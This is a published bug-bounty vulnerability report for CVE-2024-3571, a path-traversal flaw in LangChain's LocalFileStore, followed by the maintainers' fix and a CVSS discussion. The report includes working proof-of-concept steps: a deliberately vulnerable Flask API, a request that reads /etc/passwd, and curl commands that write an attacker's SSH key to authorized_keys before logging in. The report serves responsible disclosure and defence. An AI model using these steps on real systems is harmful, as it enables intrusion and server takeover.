Local File Inclusion (LFI) to Remote Code Execution in langchain-ai/langchain

Valid Reported on Dec 21st 2023

Requirements

For the POC or testing you'll need to install flask and langchain:

```
pip install langchain flask
```

Description

`LangChain` contains a BaseStore interface that works on the local file system. The need for this interface is for persistence/scalability purposes where in memory key-value store is not sufficient for the operations required by a user.

Looking at the documentation, a user can create a `LocalFileStore` instance and perform operations on it:

```
from langchain.storage import LocalFileStore

# Instantiate the LocalFileStore with the root path
file_store = LocalFileStore("/path/to/root")

# Set values for keys
file_store.mset([("key1", b"value1"), ("key2", b"value2")])

# Get values for keys
values = file_store.mget(["key1", "key2"])  # Returns [b"value1", b"value2"]

# Delete keys
file_store.mdelete(["key1"])

# Iterate over keys
for key in file_store.yield_keys():
    print(key)
```

The expectation here is if a user specifies the location of the `LocalFileStore` at a specified path like `/.cache` then we should only be able to set or get values from only that directory. However, that is not the case simply from looking at the source code of `LocalFileStore`.

Lines 60-92

```
def mget(self, keys: Sequence[str]) -> List[Optional[bytes]]:
        """Get the values associated with the given keys.

        Args:
            keys: A sequence of keys.

        Returns:
            A sequence of optional values associated with the keys.
            If a key is not found, the corresponding value will be None.
        """
        values: List[Optional[bytes]] = []
        for key in keys:
            full_path = self._get_full_path(key)
            if full_path.exists():
                value = full_path.read_bytes()
                values.append(value)
            else:
                values.append(None)
        return values

    def mset(self, key_value_pairs: Sequence[Tuple[str, bytes]]) -> None:
        """Set the values for the given keys.

        Args:
            key_value_pairs: A sequence of key-value pairs.

        Returns:
            None
        """
        for key, value in key_value_pairs:
            full_path = self._get_full_path(key)
            full_path.parent.mkdir(parents=True, exist_ok=True)
            full_path.write_bytes(value)
```

`mset` and `mget` will take a key and value pair, get the full path of the key and if it is a valid path it will get/set the key's value by setting the key as the filename and the value as the contents of the file. As such, a malicious actor could leverage this functionality to read/write any file in the filesystem.

Simple Proof-of-Concept

To showcase this simply, the following code will initiate a `LocalFileStore` instance at the `/home` directory and using an absolute path, we're able to read `/etc/passwd`

```
from langchain.storage import LocalFileStore

file_store = LocalFileStore("/home")

value = file_store.mget(["/etc/passwd"])
```

```
print(value)
```

The output will be:

```
[b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/b
sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/ma
nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/u
nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/
sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data
sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Ma
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/
nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/
nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:655
usr/sbin/nologin\njovyan:x:1000:100::/home/jovyan:/bin/bash\n']
```

RCE Proof-of-Concept

A company utilizes langchain in their day-to-day LLM operations. Due to the vast requirements needed for data storage and processing, they opted for building an API that caches data utilizing the `LocalFileStore` base store.

Target Setup

For simplicity's sake, let's build a basic API that utilizes the functionality of `LocalFileStore`. It will have three endpoints that will `set`, `get`, or `delete` a key-value pair.

```
import json
from flask import Flask, request, jsonify
from langchain.storage import LocalFileStore

# Initialize Flask app
app = Flask(__name__)

# Initialize LocalFileStore with the root path
file_store = LocalFileStore("~/.cache")


# API endpoint to set key-value pairs
@app.route("/set", methods=["POST"])
def set_key_value():
    data = request.get_json()
    if "key" not in data or "value" not in data:
        return jsonify({"error": "Key and value must be provided"}), 400

    key = data["key"]
    value = data["value"]
    file_store.mset([(key, value.encode("utf-8"))])
    return jsonify({"message": f'Key "{key}" set successfully', "value": value})
```

```python
# API endpoint to retrieve a value by key
@app.route("/get", methods=["GET"])
def get_key_value():
    key = request.args.get("key")
    if not key:
        return jsonify({"error": "No key provided"}), 400
    value = file_store.mget([key])
    if value[0] == None:
        return jsonify({"error": f'Key "{key}" not found'}), 404
    return jsonify({key: value[0].decode("utf-8")})


# API endpoint to delete a key
@app.route("/delete", methods=["DELETE"])
def delete_key():
    key = request.args.get("key")
    if not key:
        return jsonify({"error": "No key provided"}), 400
    file_store.mdelete([key])
    return jsonify({"message": f'Key "{key}" deleted successfully'})


if __name__ == "__main__":
    app.run(debug=True)
```

The Attack

A malicious actor comes across this caching API. First thing to test for is if we can get `/etc/passwd` so we can make a request to the server.

```
curl http://[api-endpoint]:5000/get?key=/etc/passwd
```

We will get the following response back:

```
{
  "/etc/passwd": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/u
}
```

Knowing we can get file contents back, can we write a file to a sensitive location? Let's try to login to the server by writing a public key to `.ssh/`. First we'll generate a new SSH key pair with `ssh-keygen`:

```
ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
```

Now having `id_rsa` and `id_rsa.pub` we will attempt to upload the `id_rsa.pub` file under the filename `authorized_keys` so that we can login to the server using our private key through `ssh`:

```
curl -X POST 'http://[api-endpoint]:5000/set' \
     -H "Content-Type: application/json" \
     -d '{"key": "../.ssh/authorized_keys", "value": "ssh-rsa AAAAB3NzaC1yc2EAAAADA
```

The output will then say:

```
{
    "message": "Key \"../.ssh/authorized_keys\" set successfully",
    "value": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8RP3+U8N14sQEIl0okK6as1e8tAhR5
}
```

Now we can login through ssh using our private key:

```
attacker@Attacker:~/.ssh$ ssh ninjafit@10.0.2.1 -i id_rsa
Linux Attacker 5.10.16.3-microsoft-standard-WSL2 #1 SMP Fri Apr 2 22:23:49 UTC 2021

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Dec 20 09:13:18 2023 from 10.0.2.1
┌──(ninjafit㉿NinjaFit)-[~]
└─$ whoami
ninjafit
```

Impact

A malicious actor could leverage this vulnerability to not only steal highly sensitive information, but also potentially take over the server by overwriting sensitive files that will allow the malicious actor to gain access to the host system. I highly recommend adding path restrictions such that a `LocalFileStore` can only be initiated in a safe location in the file system. It would also be beneficial to restrict `set` / `get` / `delete` to only work within the bounds of the root path of the `LocalFileStore` so that path traversal can't be possible when reading, writing, or deleting a file.

We are processing your report and will contact the **langchain-ai/langchain** team within 24 hours. 2 years ago

We have contacted a member of the **langchain-ai/langchain** team and are waiting to hear back 2 years ago

A **langchain-ai/langchain** maintainer validated this vulnerability 2 years ago

Hi. Thanks for reporting, we already merged a fix, and fix will be available in the next patch.

$ **ninjafit** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Luis Plascencia commented 2 years ago — Researcher

Awesome!! Thank you so much for the opportunity to help! Tested the fix and its looking good! :)

Ben Harvie modified the Severity from Critical (10) to Medium (6.5) 2 years ago

Luis Plascencia commented 2 years ago — Researcher

Hi Ben! I believe the CVSS score of medium does not accurately reflect the severity and potential impact of this issue. I believe a score closer to 10 is warranted for the following reasons:

- **High Impact**: The vulnerability allows an attacker to read and write arbitrary files on the server. This can lead to a full system compromise by enabling unauthorized access to sensitive files and the execution of malicious code.
- **Exploitability**: Despite your score indicating a high attack complexity and privilege requirement, the exploit I demonstrated uses the API in a straightforward manner. This lowers the practical attack complexity and makes it more feasible for an attacker to leverage this vulnerability.
- **Confidentiality, Integrity, and Availability (CIA) Triad**: The vulnerability severely impacts all three core components of the CIA triad:
  - **Confidentiality**: Reading sensitive files exposes confidential data.
  - **Integrity**: Writing files, especially to sensitive locations like `.ssh`, allows for unauthorized changes and control over the system.
  - **Availability**: By gaining control over the system, an attacker can render services unavailable.
- **No User Interaction Required**: The attack can be executed without requiring any user interaction, increasing the likelihood and ease of a successful exploit.

Given the above points, I strongly urge a reassessment of the CVSS score to reflect the severity of 10. This vulnerability poses a significant risk, and a higher severity rating will more accurately represent the danger it poses, ensuring that it receives the attention and priority necessary for a swift and effective resolution.

I am more than willing to provide any further details or assistance required to facilitate this reassessment. Thank you for your consideration!

Luis Plascencia commented 2 years ago — Researcher

The simple POC section is more of a convenience for the maintainer to quickly see the behavior of the vulnerability. The RCE POC is a more real world scenario showcasing how this vulnerability could be exploited by an attacker.

Dan McInerney modified the Severity from Medium (6.5) to Medium (6.5) 2 years ago

Dan McInerney commented 2 years ago — Admin

I reviewed the CVSS score and it stands at 6.5 trying to match NIST guidelines as closely as possible. If this were an LFI in a regular web application then it would be 7.5, but since it's a potential LFI in a library there's quite a few moving parts that a user would have to do in order to create an exploitable application such as using multiple other libraries on top of LangChain. The exploitability of the function for a user of LangChain is essentially nil since if you have access to Python and a library you already have access to the filesystem but since LangChain's use cases reasonably include deploying it in an application like your PoC, I feel there is justification in a CVSS of 6.5.

Luis Plascencia commented 2 years ago — Researcher

Ahh I see, that's fair! Thank you so much for the clarification Dan!

Eugene Yurtsev marked this as fixed in 0.0.353 with commit aad3d8 2 years ago

Eugene Yurtsev has been awarded the fix bounty ✓

Adam Nygate set the scheduled publication date to Apr 16th 2024 UTC 2 years ago

CVE-2024-3571 assigned to this report. 2 years ago

A huntr admin modified the scheduled publication date from 16th Apr 2024 to 16th Apr 2024 2 years ago

We have sent a warning to the langchain-ai/langchain team to inform them that this report will be published in 48 hours 2 years ago

This vulnerability has now been published 2 years ago

CVE-2024-3571 has now been published 2 years ago

CVE
CVE-2024-3571
Published

Vulnerability Type
CWE-22: Path Traversal

Severity

Medium (6.5)

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

Open in visual CVSS calculator

Registry

Pypi

Affected Version

0.0.351

Visibility

Public

Status

Fixed

Disclosure Bounty

$125

Fix Bounty

$31.25

Found by

Luis Plascencia

@ninjafit

LIGHTWEIGHT

Fixed by

Eugene Yurtsev

@eyurtsev

UNPROVEN

